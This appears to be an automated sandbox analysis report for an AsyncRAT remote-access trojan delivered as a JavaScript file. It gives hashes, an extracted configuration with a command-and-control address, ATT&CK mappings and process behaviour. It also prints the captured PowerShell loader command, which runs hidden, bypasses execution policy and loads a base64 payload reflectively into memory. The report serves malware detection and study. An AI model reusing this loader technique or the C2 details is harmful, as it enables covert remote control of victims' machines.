asyncrat | e1cff8e4c831516fdfc06087e4c2ffafc5fb08c383b8ee495682884c89bc31a1

Analysis

max time kernel
149s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 23:17

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General

Target
e1cff8e4c831516fdfc06087e4c2ffafc5fb08c383b8ee495682884c89bc31a1.js
Size 26.3MB
Sample260804-29zsrsfp71
SHA256 e1cff8e4c831516fdfc06087e4c2ffafc5fb08c383b8ee495682884c89bc31a1
MD5 ead02f478b44358e772bc3f733b9c5a1
SHA1 99e21eab50b4eaf86404ece8288b72228821af73
SHA512 7bdfabfc3beab51276cb60f4206a1cb233d4971916f5dd2e8fa16522bd05528da9713c014f3ab024289060ccd911a2109a8c4ab6125a24c983b12bb18892dc0a
SSDEEP 1536:smqMc0kXIIlJv8y+7QRQ7PC1HO7yj07QgiV+AcAyB7Q6i1P4NNhv7PFR1Ou7SvQ0:UPIk
TLSH
T10E57504DA64CC43F3DD681177AAA1A8E3CE8CC5FD075E386A6DDD24B618B8132F1295C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

04august discovery execution asyncrat rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

04AUGUST

158.94.209.117:5022

Mutex

jhnmpinOJISFUINInaoBUIDBUYQFUINOdwqd

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4172	5084	powershell.exe	89

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4172	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4172	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4172 set thread context of 4796	4172	powershell.exe	93

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_regsql.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4172	powershell.exe
4172	powershell.exe
4172	powershell.exe
4172	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4172	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4172 wrote to memory of 2464	4172	powershell.exe	92
PID 4172 wrote to memory of 4796	4172	powershell.exe	93
PID 4172 wrote to memory of 4796	4172	powershell.exe	93
PID 4172 wrote to memory of 4796	4172	powershell.exe	93
PID 4172 wrote to memory of 4796	4172	powershell.exe	93
PID 4172 wrote to memory of 4796	4172	powershell.exe	93

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\e1cff8e4c831516fdfc06087e4c2ffafc5fb08c383b8ee495682884c89bc31a1.js
1⤵
PID:912

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('NTvTBlWJZNZKtY1CHPMDciFktvHmop0lLvMymnAiB7yzxZ/wmuPsM8FxKLTnAKdwaZDHXqmXjLBdLlBAp1O1AA==','','U8HbM9sPnfBM2BpioNrL4v/A2yTRXFp3g2UKZIos24FnRtxnkSCG8rOlXCSaPkEQ','1jJpnUUm8SSgo5D026qo3f1/FRNiysLuU+POsCUSxzs=','01M1mZPcUkd32pqcmm66/Y05XogJfLYPxrZUUagC87w=','','ZTY17mNpditz+8IO2UHLjGzVOGbylK0JOE9gv2TgVHw=','','N74s5f5CgOb0jSDDz1FmkIG3yLuV/2kSXrtY4mADkl8=','2ua1VvSdG8Pkg3EBTgdQ5GCVlc/bXupiyh/J3BfvhIptbLAhkUZats/tztVwfIom','cAqv4djh6VRs+AWIqdqfO6tUzMpC7fcwzET00k9sDaM=','PUbNEvox/nLPy0SBqtVr21ANB4HEykwfZPWbGWdYDmU=','k5QEetsFi/msUfQzb5kIbnQUJdqmlG9vexLt7K8g4Pg=','','aOERbKK8bsr+xGqBshv0fgpMS0Hrq6yXMgVBu/9AQX4=','I7Xu+FpXyJJTpEJwHINH1wCco0jsRT+4ibz28GvGWSE=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4172
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
  2⤵
  PID:2464
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4796

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/4172-8-0x000001FABFFE0000-0x000001FAC0072000-memory.dmp

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memory/4172-12-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp

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memory/4172-4-0x000001FAC2760000-0x000001FAC2782000-memory.dmp

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memory/4172-11-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp

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memory/4172-6-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp

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memory/4172-7-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp

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memory/4172-10-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp

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memory/4172-9-0x000001FAC0070000-0x000001FAC007A000-memory.dmp

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memory/4172-1-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp

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memory/4172-0-0x00007FFCFC7FF000-0x00007FFCFC800000-memory.dmp

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memory/4172-5-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp

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memory/4172-14-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp

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memory/4172-13-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp

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memory/4172-15-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp

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memory/4172-16-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp

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memory/4172-17-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp

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memory/4172-20-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp

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memory/4796-18-0x0000000000400000-0x0000000000412000-memory.dmp

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memory/4796-21-0x00000000747C2000-0x00000000747C3000-memory.dmp

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